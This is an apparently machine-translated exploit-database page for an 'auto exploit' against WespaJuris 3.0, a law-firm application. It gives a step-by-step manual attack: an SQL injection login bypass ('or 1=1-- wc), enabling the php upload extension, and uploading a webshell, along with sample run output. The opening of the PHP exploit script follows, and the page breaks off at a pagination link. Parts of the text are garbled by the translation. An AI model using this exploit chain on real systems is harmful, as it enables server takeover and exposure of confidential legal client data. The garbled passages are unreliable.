WespaJuris <= 3.0 a plurality of defect and repair-vulnerability warning-the black bar safety net

2012-08-12T00:00:00
ID MYHACK58:62201234587
Type myhack58
Reporter 佚名
Modified 2012-08-12T00:00:00

Description

<? php

/*

Title spaJuris <= 3.0 auto exploit

Author: WhiteCollarGroup

Website: http://www.wespadigital.com.br/

Download address http://www.wespadigital.com.br/download/wespajuris_v3_0_2012.rar

Affected version: 3.0

Tested platforms: Apache Server

WespaJuris is a software for law firms.

Use this exploit to upload a webshell on vulnerable applications.

Usage:

php exploit.php

Example

$ php exploit.php

WespaJuris <= 3.0 exploit

Coded by WhiteCollarGroup

Type Ctrl + C for exit

Try "php exploit.php /about" for get info

[?] Target address (login form):

http://www.xxx.com/juris/

[?] Webshell path (in your computer):

C:\wamp\www\webshell.php

[*] Login...

[*] Trying to add php on allowed file formats.

[*] Adding a new client.

[*] Getting new client ID

[!] Client ID: 3 0

[*] Adding a new process.

[*] Getting new process ID.

[!] New process ID: 3 7

[*] Adding new task.

[*] Getting new task ID

[*] New task ID: 1 of 6

[*] Adding new doc type.

[*] Trying to get new doc type ID.

[!] New doc type ID: 7

[*] Trying to upload file...

[*] Thinking about file address...

[!] The virus complete.

[i] You have now a webshell in <http://localhost/juris/clientdir/30/dl/webshell.php>

Then, go to http://localhost/juris/clientdir/30/dl/webshell.php and see your webshell.

:: How this exploit works? Manually work.

~> Login bypass

On the login form, enter "SQLi strings":

Login: 'or 1=1-- wc

Pass: wcgroup

~> Configure file formats

Go to "CONFIGURAÇÕES".

In "Extensões de documentos", add "php".

BEGIN Do it only if the system is blank

~> Add new client

Go to "CLIENTES E USUÁRIOS" > "adicionar".

Add your own user.

~> Add new process

Go to "PROCESSOS" > "adicionar".

Add your own process.

~> Add new task

Go to "PROCESSOS".

Click on the process that you've created.

In "Tarefas", click "Adicionar".

~> Add new document type

Go to "DOCUMENTOS".

Click "ADICIONAR/EDITAR TIPO DOCUMENTO".

In "Adicionar Tipo de Documento" the form, type anything and then, click "Adicionar".

END Do it only if the system is blank

~> Get arbitrary file upload

Go to "DOCUMENTOS".

Click "ADICIONAR DOCUMENTO".

In "On", select a client and a process. Click "PROSSEGUIR".

Select a task in "TAREFAS", a document type in "comes to mind um Tipo".

In "Título do documento", type anything.

Upload file in "Subir arquivo do Documento". Leaves "Link para Documento na Internet" empty.

Click "Adicionar Novo Documento".

Click "DOCUMENTOS" and click on the your webshell.

*/

set_time_limit(0);

echo "WespaJuris <= 3.0 auto exploit\n";

echo "Coded by WhiteCollarGroup\n";

echo "Type Ctrl + C for exit\n";

if((isset($argv[1])) AND ($argv[1]=="/about")) {

echo "WhiteCollarGroup\www.xxx.com \nwhitecollar_group@hotmail.com\nTwitter/Facebook/Blogspot: WCollarGroup\nirc. virtualife. com. br #wcgroup\n\n";

exit;

} else {

echo "Try \"php $argv[0] /about\" for get info\n";

}

echo "\n";

if(! function_exists("curl_init")) {

echo "PHP CURL was not found on this system.\ n";

echo "Linux(Debian-like apt system): Type the following command on shell:\n";

echo "# apt-get install php5-curl\n\n";

echo "Unix: Edit your file php. ini and remove \";\" from following line:\n";

echo ";extension=curl. so\n\n";

echo "Windows: Edit your file php. ini and remove \";\" from following line:\n";

echo ";extension=php_curl. dll\n\n";

echo "Read more: http://www.php.net/manual/book.curl.php\n\n";

exit;

}

puts("Target address (login form):", "[?]");

[1] [2] [3] next